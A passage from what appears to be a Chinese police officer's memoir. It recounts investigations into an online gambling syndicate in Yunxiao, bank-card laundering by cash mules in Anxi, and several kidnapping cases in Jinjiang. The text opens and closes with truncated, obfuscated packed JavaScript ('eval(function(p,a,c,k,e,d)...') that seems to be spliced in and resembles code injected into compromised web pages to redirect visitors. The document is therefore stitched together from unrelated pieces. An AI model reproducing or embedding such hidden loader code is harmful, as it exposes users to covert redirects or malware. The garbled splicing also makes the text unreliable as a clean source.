;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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在立案侦查这起□□案的同时，我们又接到一个大学生小甲的报警，他报警称三个月前，在银行办理业务的时候，在银行门口遇到一个男子，找他买银行卡，说只要开好一个张银行卡，带网银功能的，300块一张收，于是他就去别家银行办了两张，卖给了这个人。后来回到学校上学，有同学被网络电信诈骗骗走了学费，他才意识到自己的卡可能被坏人利用，于是上网查了一下自己银行卡的银行流水，不查不知道，一查吓一跳，自己银行卡的流水，三个月下来进出三千万，平均每个月一千万，每天33万，不够都是转来转去的，最后账上还有几万块钱，他不敢动，赶紧报警。我们特意跑到南昌与报警的小甲见面，了解了详细的情况，根据小甲的叙述，怀疑，他遇到的是收卡的中间商，银行卡已经被转卖，我们继续调查，通过监控该银行账户，发现，这个银行账户居然跟李老板的账号有联系，这引起了我们巨大的兴趣，于是我们开始艰苦卓绝的查账工作，查银行流水，打印的单据都是几十公分厚，回去慢慢研究，看到可疑的流水和账户就用红笔标出来，这种纸上作业效率极低，但是也没有其他办法，经过大量的艰苦卓绝的基础性工作后，我们逐步摸清了一个在网上开始赌场的团伙的情况，时机成熟时，我们准备收网，过完春节一个多月后，我们连夜赶到福建漳州，在当地警方的支持下，抓获了几名这个团伙的部分主要成员，他们全都是都是福建云霄县人，按照计划我们要继续扩大战果，在把人留置在漳州后，继续赶到云霄县时，准备继续抓捕时，才4个小时不到，之前掌握的团伙成员都同时消失了，似乎同时获得了风声，这是一件让人不寒而栗的事情。福建云霄县，地处福建西南部，属于临海的山区，曾因制造假烟而闻名全国，后来随着打击的力度和深度不断增大，制造假烟的势头才被遏制下去，但是狗改不了吃屎，依然还有大量的人在生产，不过大部分人使用打游击战的方式与执法部分周旋，也积累大量的防范打击的经验，特别是针对警察的经验充足，当假烟无法继续的时候，有一帮人开始动其他脑经，就有了第一批网络电信诈骗的人，他们向台湾人和安溪人学习，如何诈骗，如何避免被打击。甚至做了小弟跟班之类的，不计报酬。由于收成很好，这种犯罪行为一直没有被打击，而且从业人数愈来愈多，不可收拾，不过随着公安机关打击力度加大，抓了非常多的涉嫌网络电信犯罪嫌疑人，云霄人觉得太危险，于是他们开始转型，改行，开始组织网络赌博，后来由于技术的先进，可以随意操纵中奖号码，随着钱越赚越多，就形成了一个灰色产业链。云霄人还是很低调的，很快大部分人就从网络诈骗嫌疑人，摇身一变，就成了开设网络赌博网站的。由于公安机关不断打击，现在云霄还有数百人是网上逃犯，几乎都是涉嫌开设□□的。而且当地关系网复杂，加上信息传播速度快，我们抓人的消息，很快就传到各个成员，很快他们就消失了，让我们没办法找到。不过，我们的情况他们倒是摸得很清楚。瞬间有一种无间道的既视感。 坊间传闻，很少有外地公安机关能到云霄县成功抓到开始赌场的犯罪嫌疑人，后来我们也证实了这个情况；我们在云霄工作期间，就遇到两拨外地公安机关的人，都无功而返。最后我们也只押着最初抓获的几名犯罪嫌疑人返回。 进过审讯，我们抓到的是第二层及以下业务员，他们每个人负责管理不同的群，收会员充值，返回会员赢的钱。他们通过超市自已员工，根据赚钱情况向总公司回报情况，公司再第二次给他看电影。 开设□□，违法成本低，收益高到吓人，云霄人还在热火朝天的干这事。 经过审讯，李老板进的那个聊天群，仅有几个人是闲着，网上大部分都是托。李老板打死也想不到，群里既是专门为他建的，剩下的都是管理员带的托，专门为了宰他而组建准备的，因为他的幸福爱好。 前期的调查取证以及现场扣押的嫌疑人的物品，李老板加入的聊天赌友群有四十多个人，只有五个人是参赌人员，剩下的都是犯罪团伙控制伪装称参赌人员的托或者“业务员”，李老板可能做梦都不知道，整个群里的人都是假的。犯罪团伙通过不断申请新号的方法，创建了很多群，包括□□群和微信群，为了逃避打击和腾讯公司的巡查管理，每隔几天就解散，然后建新群，再拉人员通过扫码认证的方式进群，避免其他人员不熟悉的进来捣乱；每个管理员手机里都存有几十个设置上百个参赌人员的联系方式，通过向他们发送二维码的方式通知建新群，参赌人员可以介绍人入群，成功参赌的，介绍人会得到充值奖励，如果新进人员长期只看不赌，则会被踢出群，或者老群解散后，新群无法加入。 每个管理员管理多个类似的群，这帮人控制了很多个，每个群的人数不多，最多几十人，少的是十几人，但是真正参赌人员，就是被拉来的待宰的“猪”，每个群里面只有几个或者一个，剩下的全是嫌疑人伪装的，每个嫌疑人身上多部手机，用来冒充托和管理，在办公区有专用的电脑进行管理，境外还有人一起配合管理网站和伪装托，负责直接在网站下注，而网站通过精确计算，你永远只有输，甚至更改数据，让你只能输。赌博很容易成瘾，一旦成瘾就成了待宰的“猪”，让你倾家荡产。群里还有部分托，来自全国各地，是该群的“业务员”，负责拉人入群，管理员则根据你拉多少人入群，这些人当月参赌的情况给提成，一般拉一个人入群，这些“业务员”可以拿到300元到1000元不等，可以说那些拉你入群的人，也在变相从你身上抽血。 而会员充值的钱全部进入犯罪团伙购置的银行卡内，通过层层转账取现，最后再存入犯罪嫌疑人个人账户中，由于来钱太快，嫌疑人挥霍无度，几乎夜夜笙歌，在夜场醉生梦死，云霄县原本是个贫困县，结果豪华娱乐场所很多，消费水平很高，超出正常收入水平，经济畸形。刚开始一部分人靠这个“诀窍”发家致富，来钱快，于是先是在亲朋好友传帮带，出现了一帮有钱人，接着更多的人主动加入，有钱就可以积极回家消费，购买豪车，购置不动产，导致当地房价节节攀升，中国有个很奇怪的现象，笑贫不笑娼，只要有能力赚钱，不暗偷不明抢，赚到钱就是成功人士，不管是否违法犯罪，诈骗、开设赌场都认为是有本事的人，甚至出现做事情不成功，就去境外搞一段时间网络赌博再回来；创业缺少资金，托亲戚朋友到境外搞一段时间网络赌博，回来带着启动资金；家里没钱装修房子，照例去搞网络赌博回来就有钱装修了；这种影响力是很可怕的，整个社会的价值观是扭曲的，长此以往，危害及其严重。 以安溪为例，有数据统计，安溪有近万人从事网络电信诈骗及其相关行业，以致被公安部带上了诈骗整治重点地区红牌单位，诈骗成风，对当地正常的社会秩序破坏力极大，本来安溪的茶叶产业规模效益很很好，但是被诈骗一弄，名声很丑，对经济破坏是长期性的，特别是对青少年的影响，很多年轻人辍学从事该行业，一生就被毁，成为社会的毒瘤，很难再改造。 2011年我办理过两名专业取款车手的案件，就是专门帮诈骗集团取现的，属于诈骗集团最底线的，一个是茶农，一个是茶农的朋友，两人被抓获时，身上还有270余张银行卡，通过比对，涉及全国20个省市的网络电信诈骗案件，本地案件仅5起，但是整理的卷宗超过3000页，犯罪嫌疑人的隐蔽性极强，因为是安溪本地人，种茶叶赚钱少，就跟着诈骗集团成为专业取款车手，非常专业，他们白天种茶卖茶叶，晚上骑着摩托车或者电动车到各个银行取款，再通过ATM存款，并转到诈骗团伙指定账户上，警方很难通过数据进行追查，钱到取款银行卡之前，就已经通过网上银行和第三方支付的方式，转了几手了，随着网络的便利，银行的服务都已经网络化，当时的网银很容易办理，但是银行基本没有这方面的监管，诈骗的资金流向就很负责了，加上很多人见利忘义，甚至出售自己的银行卡，还有一些被偷的身份证也是流入黑市倒卖，银行开户时，并没有全部做到认真审核，我第一次办理诈骗案件的时候，就是查到长沙一家银行，在没有身份证本人来的情况下，批量办理了大量的银行卡，而这个银行卡全部用来诈骗，事后银行没有承担任何责任，任何法律后果，还因为异地跨行取款等收取大量的手续费用，银行也是网络诈骗的推手，存在大量的霸王条款，虽然银行违规办理的银行卡，但是当我拿着法律手续去办理相关业务的时候，他们显出了他们的专业精神和技能，非常严肃谨慎。我追查到的是第三级银行卡，当时被害人将钱转入嫌疑人的账户后，嫌疑人立即将将通过电子银行准到多个二级账户，再将二级账户的钱转到三级账户，我们运气不错，比嫌疑人快了一步，及时冻结了一笔尚未转走的被害人被骗的资金，我需要做的是将被骗资金退回到被害人的账户上，银行拒绝我，说不符合银行的规定，只能让我找到银行卡开户身份证的本人到开户行（对，你没看错是开户行！！冻结也是要到开户行）取款和相关操作，否则钱就一直银行账户上不能动，无奈之下，我飞奔上海，找到身份证主人，再给他买机票一起飞到长沙办理退款，增加了大量的人力财力等办案成本，无疑为打击诈骗犯罪添加了障碍，而犯罪嫌疑人则很轻松的从银行获取便利条件。现在网络电信诈骗成灾，银行为了利益没有认真履行法律规定，还从中获利是要负一部分责任的，真实追究起来，银行是否要付法律责任呢？就算有人实际提出追责，实际操作中，银行通常的做法是甩锅给员工，都是员工个人原因与银行无关。我办理那起冒充熟人诈骗案件，仅是追查到银行资金账户，通过冻结账户，追回被骗现金15万元，为了取回这15万元，我跑了6个省，行程上万公里，找到3名诈骗使用账户的身份证主人，到3个省去办理取款，耗时数月，一个嫌疑人都没抓到，花费差旅费近3万元。现在出现了上百家的第三方支付，还有花样翻新的各种理财，骗子洗钱的方式更加灵活多样，打击更难，所以防范诈骗是最有效的方式。当时诈骗团伙的钱都是经过专业车手来实现取现的，有的还是在境外取现。 我们抓获的两个取款车手，經审查，发现同时为多个诈骗团伙服务，不管钱来源是什么，都可以取款，收取佣金，一般每一万元抽水800元（8%），有时更高，取款车手也非常专业，经常做各种伪装。不过车手首先得是安溪本地人，一般是从事诈骗犯罪团伙成员的亲戚，或者信得过的朋友，还得有担保的才行，外人很难插入，所以是利益共同体。一般取款的会雇佣一个或几个手下，有的甚至组织几十个上百个人规模的也有。我抓获的二人审讯后交代，他们每周都有全国给地的银行卡通过快递寄过来，按照专用手机来电收信息，那张银行卡有钱，取多少，一批卡用过几次以后，就寄走，给另外一个团伙使用，整个诈骗行业俨然是一条严密的产业链，而且相互之间联系紧密，这两个人我们是在开往广东的大巴车将二人抓获的，二人原计划带着银行卡去广东取款，因为已经在本地取款了半个月，需要转移，通过查询账单，270张银行卡里，有大约150张卡，两人半个月取款涉及的现金总计超过千万，但是因为案件证据的原因，能查到的诈骗案件仅有30余起，但是证据薄弱，最后以信用卡诈骗罪起诉，法院以诈骗罪定罪。 这种犯罪集群全国类似的地区还有很多，已经成为严重的社会问题，各类网络犯罪的重灾区衍生出来的灰色产业链更是规模惊人，整个产业链链条中，违法的、穿着合法外衣的灰色地带比比皆是，个个转得盆满钵满。当前的社会环境下，成为特殊的社会现象，往往开始的时候能带来经济繁荣的假象，但是褪去伪装的外衣，露出真实的面目后，对当地的危害极其严重而且深远。 国家已经意识到这个问题，从中央到地方开始进行整治环境，高压打击，但是冰冻三尺，非一日之寒，长期的放纵，巨大的利益，形成了错综复杂的势力范围，很多人都来分一杯羹。 据不完全统计，云霄县数千人在境内外从事这个开设□□及其相关的职业，随团伙人数越来越多，规模越来越大，不断壮大的同时，也不断开发市场，不断总结经验，避免被公安机关打击，甚至有公安内部人士从事该行业，或者犯罪集团上演无间道，派人到公安机关来卧底，加上几乎都是本地人，与犯罪集团有着千丝万缕的关系，当地公安机关几乎没有打击成效以至于放任不管，而外地公安机关打击的难度也越来越大，尽管有数百云霄人成为网络赌博犯罪嫌疑人而成为网上在逃人员，但是在当地很少又被抓住的，而公安内部信息泄露则令人不寒而栗，作为公安机关侦查人员，我还没有完全摸清楚犯罪嫌疑人情况，犯罪嫌疑人已经摸清楚我的情况，甚至通过我熟悉的中间人过来找我了，那一刻，虽是酷暑也感觉到后背冰凉，不仅打个寒颤。大部分身份暴露的嫌疑人，就在云霄活动，甚至大摇大摆，外地公安机关过去，因为工作机制原因，抓捕对象，都要通知当地警方协助，当地警方虽然配合力度很强大，但是仍然只有极少数能顺利抓到过嫌疑人，嫌疑人几乎都逍遥法外，如此低的违法成本，使得该项犯罪的外部环境极为宽松，于是从业人员越来越多，规模越来越宏大。传言在菲律宾的开□□，开设类似杀猪盘、钓鱼盘的几乎都是云霄人。如同安溪人后来都在境外开展网络电信诈骗活动。 最后我们在云霄县工作了半个月，一无所获，然后就黯然返回，为了将案件办理下去，最后同意投案自首，可以办理取保候审，于是犯罪团伙的主犯，在菲律宾，后来返回国内，投案自首，被取保候审，剩余犯罪嫌疑人也选择了投案自首，取保候审。作为普通人，只能是一个做法：远离赌博，洁身自好。天下没有掉馅饼的事，从来都是陷阱，参与赌博的最后是一条不归路，倾家荡产、妻离子散，甚至性命堪忧。 9. 第 9 章 一、热心的小舅子 2006年，我刚刚到晋江不久，那时我还是片警，刑侦破了一起大案，某企业老板S总被人绑架，该老板为人低调，做实业出身，勤俭持家，衣着简朴，出行座驾为丰田花冠，上班路上被人拦截并遭绑架，绑匪索要200万赎金，家人未报警及时凑齐赎金，人安全放回。刑侦在获悉此案后，迅速开展侦查工作，发现多个疑点：1、S总极为简朴，低调，当时虽资产过千万，企业效益极好，但是很少人知道他有钱，存款超过500万，绑匪赎金要200万按当时的购买力已经是巨额了；2、S总的出行没有规律，但是却在上班路上被人精确拦截；警方怀疑嫌疑人里应外合做的案件。 在对相关人员询问较淡中，有人谈起了S总的小舅子反常表现，小舅子先是接到绑匪勒索电话，之后极力阻拦家人报警，同时积极说服家人凑赎金，还自告奋勇独自携带赎金去赎人，要知道这个小舅子平时不学无术且及其怕事，而且懦弱无能，属于扶不起的阿斗。 侦查人员悄悄调取了小舅子的话单，通过分析很快发现了端倪，小舅子的行程，在整个过程中与一个可疑号码频繁联系，S总被绑架时，这个可疑号码还出现在S总被绑架的地点拨打小舅子的电话；经过对可疑号码的进一步工作，刑侦大队抓获此案的多名绑匪，扣押了尚未转移的赎金，经审讯，嫌疑人同时指认该起案件的主谋就是小舅子。原来小舅子在外赌博欠了不少钱，为了还钱，他打起来了姐夫的注意，他知道姐夫的行程以及资产详细情况，于是跟多名社会闲散人员一起策划实施了姐夫的绑架，为了保障万无一失，又积极表演，假装为姐夫考虑，阻止家人报警，还独自一人去交赎金。最后该案钱款被追回，小舅子涉嫌绑架罪被移送起诉。 此案在当地报纸媒体经报道后，轰动一时，我在内网网站上看到刑侦的案件总结，佩服得一塌糊涂，那时就想加入刑侦，破大案，干大事，在英雄辈出的团队里工作，才有意思。不过我还是得服从安排先在社区民警岗位上满满摸索，这期间我多次申请加入刑侦，都否决，要么渺无音讯。 机会永远是留给有准备的人，因为在社区民警岗位上，多次破获各类刑事案件，很快就被伯乐发现，在人事不动情况下，先借调到刑侦工作，我的征程开始了。 二、水库的尸体 在刑警面前，案件堆满如山，大案毕竟是少数，还有很多小案件需要侦查办理，大部分的时间都是在做这个，抢劫算是重大案件了，剩下的都是什么手机被偷了，摩托车被偷、家里遭贼了，东西被骗了，被敲诈勒索等等，种类繁多，情况各不相同。那段时间，没日没夜的就忙这个了，当人有时候也会遭遇命案什么的、那个很少很少，可遇不可求，而且因为受辖区限制，只有辖区的重特大案件我们才参与，剩下的都是重案队负责。 时间转瞬即逝，那年报纸媒体又刊登晋江刑侦破获的绑架案，一名小学生被人绑架，绑匪打来电话勒索巨额赎金，重案队的兄弟鏖战几个通宵，将绑匪一网打尽，但是被绑架的受害人没又找到，经过分析，嫌疑人绑架后，曾到山区躲藏，藏身位置附近又个小水库，民警大胆推测，到水库打捞，果然捞出了被害人的尸体，原来绑匪与被害人相识，经过电影电视的启发，一抓到被害人以后就把人杀害，然后沉尸水库，再打电话索要赎金。 看到这个消息，大家无不咬牙切齿，嫌疑人最终没能逃脱法律制裁，被执行死刑，但是被害人的父母将一生承受这个悲痛。这是我们最不愿意看到的，面对冷冰冰的现实，我总是感觉自己渺小而无力。 三、狭路相逢勇者胜 转眼已是2013年夏，某周日我带队值班，刚刚到办公室，就接到反黑队的老熟人小X来找我，称半个小时前接到报警，一名男子在鞋都被人绑架，被害人父亲接到电话，称其儿子前他们欠赌债，现在人在他们手上，索要现金10万元，否则性命难保。我们迅速找来报警人，被害人的父亲，一面安慰情绪，一面询问情况，同时让报警人找各种理由尽量拖延时间。 报警人向我们叙述：被害人23岁，中学毕业后，来晋江务工，与父亲一起生活在鞋都，现在在鞋厂从事技术工人，平时安分守己，为人老实，喜欢上网，但是并没参与赌博等不良嗜好，之前也没有类似的记录，平时在工作做工，也没有认识什么不三不四的朋友，昨天（周六）没有上班，中午饭后出门，说是为了去见一名女网友，出门后一直未归，打电话没有接。谁知道到了凌晨，接到被害人手机打来的电话，对方是一个陌生的声音，说是被害人参与赌博欠他们钱，现在在他们手上，现在要按照他们要求打钱过去，否则砍断被害人手脚。打完电话手机就关机了。根据报警人的叙述，刚开始我以为是诈骗，之前我就介绍这种诈骗，这是常见诈骗类型，犯罪嫌疑人通过购买当事人的信息资料，掌握家庭成员等情况，然后打电话过来自称对方子女或者父母遭遇各种问题，例如车祸、疾病后者欠高利贷等等，让你慌了手脚，借机要求汇钱，但是都是用第三方的手机号码拨打，而且一直会引导接电话的人，保持通话，这样就避免查证和警方的介入，混乱中再引导去通过ATM机转钱，当下这起明显不是，而且用的是被害人的手机拨打，给我们就制造了不小的难度，以前有类似的案件，就是手机被盗，然后利用被盗手机拨打手机通讯录中亲属的电话，称机主遭遇各种事件，无非是车祸疾病或者高利贷者绑架之类的，然后骗亲属支付钱款。但是，这次被害人整夜未归，音讯全无，应该不是上面的那几种情况。 我分析了一下被害人及其手机等数据，没有什么异常，他出门见网友的的事情，根据经验判断，有可能是遭遇了“仙人跳”，就是假装一名女性在网络上利用□□微信等工具，偶遇男性，然后建立友情，再伺机约被害人见面，等到两人单独见面，约在某一处，或者酒店房间里，屁股还没坐热，之后就有多名男性突然过来或者闯进来，以被害人勾引老婆等理由敲诈勒索钱财，但是这类案件中很少会打电话给家属，要打也是让被害人打，嫌疑人一般不回直接打电话给被害人家属。通过了解，被害人家中经济并不宽裕，一直在晋江某鞋厂务工，不过勤俭持家，几年存了十几万，准备回老家买房。而嫌疑人恰巧就要10万，让我很怀疑是不是合伙骗家人钱呢，我又分析了一下被害人的交友情况，不像这种。 我们初步判断，被害人应该是被人以网友的名义骗至某处被控制，后嫌疑人通过被害人或者家中有些积蓄，然后通过被害人手机直接打电话索要钱。但是现在手机关机，所有的线索，被害人关机前的位置位于70余公里外的一处沙滩旅游景点，通过研判是有交通工具，现在他们在哪里，除了等他们继续来电，别无他法。在研判时我也发现，他们去景点前，被害人曾在一处小旅馆登记入住过，系统显示，已经退房。我决定从这个小旅馆开始着手调查，我和麒麟还有小X一行三人，开车抵达这家小旅馆，旅馆位于泉安北路路边，是一栋5层的自建房屋改的，有几十个房间，一楼一间门面用于前台，二到五楼都是房间。在前台我们用登记系统电脑查了一下，只有被害人登记的房间，只有登记他一人姓名；当晚旅馆有十几间有人入住，大部分都是空的。被害人开的房间在二楼，前台的资料显示，嫌疑人已经退房。我问服务员被害人的情况，几个人来，什么时候走，一问三不知，我们三个人分工，一个人看监控，看看离开时几个人，都有谁，顺便可以看看门口有没有车辆的信息，由小X负责，麒麟则看一下当晚开房间的人有没有可疑人员。 由于服务员刚交班，我让服务员去找老板或者昨晚值班的人员，了解情况，服务员去了很久回来说，昨晚老板娘值班，睡觉去了。没有办法，我问服务员被害人之前开的那间房有没有发人住，服务员回答我暂时还没有人住，因为时间还早可能还没有打扫，我似乎发现了新大陆，立马要求服务员带上钥匙领着我上二楼到被害人开的房间看一下，看看有没有留下什么物品或者其他线索。 旅馆二楼的布局是一个回字型，除了楼梯通道，中间是几个没有窗户的小房间，四周一圈是十来个大小不一的房间，被害人房间是个大床房，房间属于比较大的，窗户朝着泉安北路，因为二楼没有登记几个人。为了保险起见，除了被害人的房间外，剩下的房间，我挨个房间查看，看看有没有人住，是什么人在住，每个房间有没有留什么东西，我担心的是，如果是绑匪，会不会在旁边也开房间住，会不会携带什么武器兵器，后者留下线索也行，结果让我大失所望，除了被害人那间还没有查以外，剩下的一无所获。 最后，我来到被害人开的那间房，门是锁的，这个旅馆每个房间有不同的钥匙，不是用房卡，一般没人住，房门就不锁，门都是开的额，但是奇怪的是，这件房间门关着的，房间门锁跟一般酒店门锁差不多，一旦关上，都必须用钥匙才能开，服务员居然没带钥匙上来因为系统登记二楼没有人住，她只好下楼去拿钥匙。我就在二楼房间门口等，这时我好像听见房间内有人在说话，我立即警觉起来，右手条件反射，下意识的摸我挂在腰上的64手枪上，□□手枪，外界俗称“小砸炮”，7.62口径，弹夹容弹7小，携弹小也小，1964年设计定型，就是仿制ppk 手枪（007用的那把），但是受制于工艺材料，性能没法跟PPK相比，最初是给军队团职以上干部、公安、警卫等特殊岗位设计的自卫型手枪，要求就是体积小，方便隐藏携带，大规模列装公安机关，现在很多在服役，有机构简单，方便使用等特点，如果执行隐蔽任务，还是很好用的，缺点也很明显，就是子弹小，导致威力小，08年刑侦大队抓捕持械拘捕的抢劫团伙嫌疑人时，一名嫌疑人身中九枪都没有生命危险，还有抵抗能力，三个人才控制住。那把64不是我的配枪，那个时候，我已经配发了□□，但是□□较大，无论放在哪里都很显眼，早上领枪的时候，考虑再三还是拿了把64，领了两个弹夹10发子弹，领导不让多带，毕竟是要隐蔽执行任务，64还是比较好隐蔽，麒麟拿的是77手枪，他自己的配枪，只带了一个弹夹，小X则没有携带武器，啥也没带。 手中有枪，心中不慌。我左耳侧过去听，房间确实有两人在交谈，但是我听不清说啥，这是服务员上楼，我朝她做了一个“嘘”?的动作，她看到我手压在枪手，站在那没敢动，我慢慢蹑手蹑脚走向她，她用颤抖微弱的声音告诉我，那间房间的钥匙不在楼下，听到这个消息我感觉血在冲脑，有些犯晕，叫她下楼把我两个同事叫上来，我则守在房间门口，她立刻跑向楼梯间。 服务员下楼后，很快麒麟就上楼来了，小X紧随其后，我看到他们上来，迅速做了一个“嘘”?的动作，他们马上放轻了脚步，蹑手蹑脚走到房间门口，我对着他们做了一个右手食指指向房门里面的动作，他们点点头，麒麟和我分别在门两边的墙后站立，手都已经压在枪上，我伸出左手，敲了敲门，里面有一名男子应了声，我又再次敲了敲门，这时门开了一条缝，一名男子朝外张望，我用身体迅速撞开门，那名男子连忙退后，我顺势一脚将其踹倒，我眼睛余光扫了一下房间里，房间正中靠墙是一张大双人床，上面躺着一男一女，床头柜上摆着两把砍刀，对面是电视柜，上面杂乱着零食包装纸和泡面盒子，一次性餐盒，一根黑色橡胶短棍，旁边有张桌子，摆着一台电脑，电脑前坐着一名男子，后面是窗户位置有两个沙发椅，两名男子坐在那，中间小茶几上是一把匕首，在床和卫生间隔墙的角落地上坐着一名身材瘦弱目光呆滞的男子，我见过他的照片，虽然是余光一扫，可以辨认出那时报警人的儿子，本案受害人。 我快速掏出手枪，出枪同时子弹上膛，晋江公安每年一次的警务技能强化训练，特别是枪支使用的训练，已经让我养成一种习惯，掏枪快速上膛，那一刻，我深刻了解训练的重要性，已经无从多想，拔枪上膛的同时，我已经发出怒吼“警察，别动，否则开枪”，同时我向前两步靠到右边，麒麟已经在我身后，我们几乎同时拔枪，我必须给他留出身位，他已经很默契的移到我的左边，我们两人持枪指着房间的人，除了喊了多声“警察，别动”，几乎没有别的动作，房间里的人惊恐的看着我们，大家都没动，几分钟的时间，空气在那几分钟几乎凝住了。 对方有六个人，看得到的刀具三把，棍子两根，离我最近的人三米不到，我的大脑在高速的运转，如何控制眼前的局面，几分钟而已，像过了一个世纪，我能感觉到背上已经湿透了，看到对方都不敢动，我开始命令他们一个个趴在地上，然后小X迅速过去把刀具全部收起来，使用鞋带皮带把人一个个捆住，最后床上一对男女起来，男的□□，命令穿上内裤趴在地上，我送了口气，这回看清女子的照片，胖胖的大脸，长满了很多痘，说自己没有穿衣服，我让她把手伸出被子被动，做完这一切，我和麒麟挂保险枪入套。我拿出手机向领导汇报，要求警力增援，还需要女警支援。这会轮到我们把房间门锁门，我们在房间内焦急的等待。地上趴着五名男子，双手背后捆住。我站在窗户边，麒麟和小X守在门口。半小时后，单位的支援警力赶到，鞋带和皮带换成了手铐，押着人员送进办案区，我才送松口气。 经过审讯，六名嫌疑人交代了整个事情经过： 那名很胖的女子是大姐大，其余的人都听命于她。大姐大离婚后，通过网上交友，认识了嫌疑人小甲，小乙，小丙，分被与三人发生了性关系，把三人笼络留在身边，因为缺钱，大姐大提议一起搞钱，为了充实人手，小甲还叫来两名一起玩游戏的朋友，全部听由大姐大发号施令。大姐大则在网上冒充打工的美女，通过约会的方式，把网友钓过来，然后把上钩的“鱼”，就可以搞钱了。被害人就是这样中招，刚刚跟大姐大见面，就被几名凶神恶煞的男子控制，将其身上财物全部拿走，然后带到旅馆，用被害人的身份证登记了房间，殴打恐吓的方式，问清了被害人的情况，大姐大决定向被害人家人索要钱财，为了安抚众兄弟的情续，他们雇车前往惠安清沙湾游玩，就是在清沙湾，使用被害人的手机打给报警人索要钱财，然后关机等卡上打钱。在西沙湾玩到凌晨2点，他们觉得累了又从西沙湾返回，回到旅馆休息。因为房间较小，七个人挤在房间里，大姐大在床上睡，剩下的人轮流休息，然后上午我看到他们的时候，一个个昏昏欲睡。我才能歪打正着，出其不意，在人力处于绝对劣势的情况下，成功控制了形势，将犯罪嫌疑人一网打尽，成功解决被害人。 正所谓狭路相逢勇者胜，此案有惊无险，接到报警到解救被害人仅用3小时。我总结经验：一是准备充分，充分研判被害人情况，掌握所有的线索，充分预判可能遭遇的情况，正是因为预判到位，出门前携带了武器，武器的使用弥补了人手的不足；二是平时训练到位，武器等使用起来不慌；三是战术处置得当，当时去旅馆只是为了查找线索，当我发现房间有人时，快速判定嫌疑人在里面，趁着嫌疑人不备，果断决定主动发起攻击，打对方错手不及，成功处置。 嫌疑人中五名男子，年龄最小的15周岁（因不满16周岁，最后以涉嫌抢劫罪起诉），年龄最大的22周岁，那名女子，“大姐大”29岁，确实是大姐大。还有个插曲，此案六名嫌疑人中，三名与大姐大保持着男女关系，大姐大身高约165，身高马大的，很胖很壮实，确实有大姐大的范，为了让三个人不至于争风吃醋，大姐大安排三人轮流侍寝，脑补画面确实难堪，让我想起了人生第一次抓□□那晚的画面。事实证明，大姐大确实有一套。因为案件办理得很顺利，天黑时我们就已经办妥所有案件手续，最后在押送人员到看守所羁押时，在临上车前，“大姐大”戴着手铐低着头突然跪下，向她的兄弟们磕了三个头，言：大姐害了大家，给大家赔罪了。把我们现场的几个民警看得目盹口呆。 四、醉破绑架案 2014年初夏，我已经调任视频侦查中队，担任副队长，主持全队工作，说是主持，实际上啥也没有，开始全中队连我仅有两个人，不过感谢领导高瞻远瞩，视频侦查的发展已经是大势所趋，搭着公共视频建设的春风，我们买了很多办公装备，高配置的电脑，还有自己工作室，开始艰苦的探索，除了破案，我并不知道我们还可以做什么，中队成立时并没有明确的职责，摸着石头过河。 我到任第二天就发生一起特大敲车窗盗窃案，经过视频侦查发现，这是一起典型的尾随银行储户车辆实施的破窗盗窃，通过视频侦查发现嫌疑人驾驶车辆换了十几副的车牌，在福州、莆田、泉州等地流窜了多日，驾驶一辆丰田锐志小车，守在银行门口，观察从银行取款人，专门选择VIP客户取大额现金出来的人，然后开车跟随，伺机作案，但是一直没有等到机会作案，直到来到晋江，在晋江活动了两天，在视频中，我看到嫌疑人车辆一次次的跟踪从银行出来储户的车，然后一次次返回银行门口继续等候，虽然很反常，但是未被发觉，直到第二天上午终于找到合适的目标，一辆保时捷卡宴车主，从银行取款后，将五十万巨款放置在车后排座，人离开两分钟，就是这两分钟，把车当保险柜使，于是果断损失了五十万。嫌疑人将车与保时捷并排停好，使用工具破窗，人未开车门直接通过两辆车的窗户，伸手进入保时捷，将放有五十万的现金袋子拿走，然后缩回车内，开车离开，整个作案过程用时16秒，干脆利落，堪称专业。整个作案过程就在视频监控底下，毫不避讳。 上午11时许发生的案件，我到了下午17时才接到通知，虽然第一时间开展了视频侦查工作，而且通过视频分析，经过三天的视频侦查，确认嫌疑人共为三名，但是嫌疑人早就在千里之外了。后续侦查中发现使用□□在多个旅馆住宿，通过住宿酒店的视频，我们获取了清晰的视频图像，发现嫌疑人使用的10副不同车牌。但是嫌疑人在案发后就已经沿着国道山区一路逃离，每过一个县就换一副车牌，避免被堵截，而且全程不走高速，天黑的时候就已经进入了广东，不到24小时就回到了广西，确认是广西人，随后，专案组派人前往广西追捕，我的视频工作暂时告一段落。 总结经验，1、车不是保险柜，贵重物品尤其是大额现金，一定要随身携带，或者放至专门的位置；2、犯罪嫌疑人在“猫鼠游戏”中，被大家后不断总结经验，改进作案方式，已经变得非常专业，反侦察能力极强，作为侦察员，时间就是生命，只有快速反应，快速侦查，才能快速破案，必须比犯罪分子更专业，反应速度更快，才有胜算； 半年后，一天晚上我没值班，跟朋友在外面吃饭，喝了点酒，醉眼朦胧时，接到单位电话，某小学一小学生失踪，疑似被绑架，目前当事人父母已经报警，尚未接到绑匪勒索电话，要我赶回开展工作。我请朋友送我回到办公室，直属队的小Z在等我，通报详细情况，失踪小学生，家中经商，属于富二代，晚上19时许从小学附近一家培训机构出来走路回家，家住小学对面的小区，两地步行10分钟足矣，父母接到老师的电话后，等了一个小时，仍未看到人回家，便出来寻找，有一家文具店反应，小学生好像被人带上一辆车走了，然后父母感到事态不对，选择了报警。 小Z已经将小学旁的监控录像拷了回来，我们几个人开始分头看，当时已经是晚22时，离接到报警已经过去两个小时了，学生失踪三个小时，但是我喝完酒，头发晕，反应迟钝，只能拼命喝水，试图保持清醒，而工作室其他人则在埋头看监控。19时，已经是夜间，私人家安装的监控，像素较低，图像非常模糊不清，看了很久才从学校门口的一个远端摄像头中看到一名类似失踪小学生的小黑影，但是很快他进入了监控盲区。我让他们继续寻找，我则继续醒酒。 小学门口是一个H型的道路，中间高两边低，而且分布着多个小区，小学是市里最好的小学，离市委位置较近， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 